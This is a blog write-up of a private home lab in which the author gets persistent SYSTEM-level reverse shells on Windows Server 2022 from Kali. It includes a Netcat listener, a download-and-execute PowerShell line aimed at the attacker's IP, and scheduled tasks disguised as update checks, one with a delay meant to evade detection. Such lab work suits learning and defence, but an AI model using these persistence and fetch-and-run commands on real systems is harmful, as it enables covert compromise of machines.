zy0ud

Back

Reverse Shell via NetcatReverse Shell via Netcat

Overview#

Fourth published post in this lab series. Same private environment — Kali Linux (192.168.1.39) against Windows Server 2022 on VMware Workstation. This lab covers two persistence techniques: a basic reverse shell via scheduled task, and a variant with a delayed start. No credentials needed here — this builds on the access established in the previous labs.


Part 1: Reverse Shell via Scheduled Task#

Step 1: Prepare the Reverse Shell Script#

Created a PowerShell script named update_check.ps1 on Kali. It opens a TCP connection back to the attacker on port 4444, reads commands, executes them, and returns output:

nano editing update_check.ps1 Writing the reverse shell script in nano on Kali

Script file confirmed in http-server directory update_check.ps1 ready in the http-server directory


Step 2: Host the Script on Kali#

Started a Python HTTP server on port 80 to serve the script to the target:

sudo python3 -m http.server 80
bash

Python HTTP server running on port 80 HTTP server serving the payload on 0.0.0.0:80

Verified connectivity from the Windows Server using PowerShell:

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1"
powershell

Response: StatusCode 200, StatusDescription OK — script accessible for download.

Invoke-WebRequest 200 OK from Windows 200 OK confirmed — Windows Server can reach the Kali payload


Step 3: Set Up a Listener on Kali#

Started a Netcat listener on port 4444:

nc -lvnp 4444
bash

Then triggered the script from the Windows Server. The reverse shell connected back immediately:

connect to [192.168.1.39] from (UNKNOWN) [192.168.1.55] 26705
whoami     → nt authority\system
pwd        → C:\Windows\system32
hostname   → Group2
ipconfig   → 192.168.1.55
plaintext

Reverse shell caught on Netcat listener Reverse shell connected — running as NT AUTHORITY\SYSTEM


Step 4: Create a Scheduled Task on Windows Server#

To make the reverse shell persistent (triggers on startup), deployed the script to the Tasks directory and registered a scheduled task:

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
  -Argument "-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "WindowsUpdateCheck" `
  -Description "Updates system settings on startup" `
  -User "SYSTEM" -RunLevel Highest

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1" `
  -OutFile "C:\Windows\System32\Tasks\update_check.ps1"
powershell

Scheduled task creation - WindowsUpdateCheck Ready WindowsUpdateCheck task registered and in Ready state


Step 5: Trigger and Test#

Verified the task fires correctly and the shell reconnects:

netstat -an
bash

netstat showing active connections Active connections confirming the reverse shell channel

Post-exploitation: ran systeminfo through the shell to confirm full system access:

systeminfo output via reverse shell systeminfo returned over the shell — Primary Domain Controller, Windows Server 2022 Standard

tasklist
bash

tasklist output Running processes listed through the reverse shell


Step 6: Cleanup (Part 1)#

Removed the scheduled task and the script file:

Unregister-ScheduledTask -TaskName "WindowsUpdateCheck" -Confirm:$false
Remove-Item "C:\Windows\System32\Tasks\update_check.ps1" -Force
Get-ScheduledTask -TaskName "WindowsUpdateCheck"
powershell

Task confirmed deleted — Get-ScheduledTask returned no results.

Cleanup - task and file removed WindowsUpdateCheck unregistered and script deleted

HTTP server stopped and listener closed HTTP server and Netcat listener shut down on the Kali side


Part 2: Scheduled Task with a Delayed Start#

A variation on Part 1 — same reverse shell payload, but the scheduled task starts with a 2-minute delay after the trigger fires. This simulates a more evasive persistence mechanism (delayed execution is harder to catch at boot).

Script#

Invoke-WebRequest -Uri "http://192.168.1.39/update_check.ps1" `
  -OutFile "C:\Windows\System32\Tasks\update_check.ps1"

$action = New-ScheduledTaskAction -Execute "powershell.exe" `
  -Argument "-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1"

$trigger = New-ScheduledTaskTrigger -AtStartup -Delay "00:02:00"

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "DelayedReverseShell" `
  -Description "Execute reverse shell with 2-minute delay" `
  -User "SYSTEM" -RunLevel Highest

Write-Output "DelayedReverseShell task has been successfully registered."
powershell

Delayed reverse shell script on Kali Script prepared with 2-minute delayed trigger

Execution#

Triggered the script manually to confirm it works before relying on the scheduled task:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.39/update_check.ps1')
powershell

Task registered, delayed 2 minutes, then shell fired:

DelayedReverseShell task Ready + execution DelayedReverseShell task registered — "Delayed Task Registered Successfully with RandomDelay!"

Netcat caught the delayed shell — whoami returned nt authority\system:

Delayed reverse shell caught Reverse shell arrived after the 2-minute delay — NT AUTHORITY\SYSTEM confirmed

Cleanup (Part 2)#

Unregister-ScheduledTask -TaskName "DelayedReverseShell" -Confirm:$false
Remove-Item "C:\Windows\System32\Tasks\update_check.ps1" -Force
powershell

Cleanup Part 2 - DelayedReverseShell removed DelayedReverseShell task and script file removed


Conclusion#

This lab demonstrated two PowerShell reverse shell persistence techniques against Windows Server 2022: a startup-triggered scheduled task and a delayed-start variant. Both achieved SYSTEM-level access, confirmed with systeminfo and whoami. The 2-minute delay in Part 2 makes detection harder at boot, since most endpoint tools focus their attention on processes that spawn immediately on startup.

The key takeaway: scheduled tasks running as SYSTEM with outbound TCP shells are extremely effective persistence — and straightforward to deploy with standard PowerShell cmdlets, no external tools required.

Reverse Shell via Scheduled Task
https://zy0ud.me/blog/home-ad-lab-part5-reverse-shell-persistence
Author Ra'ad Alzyoud
Published at January 7, 2026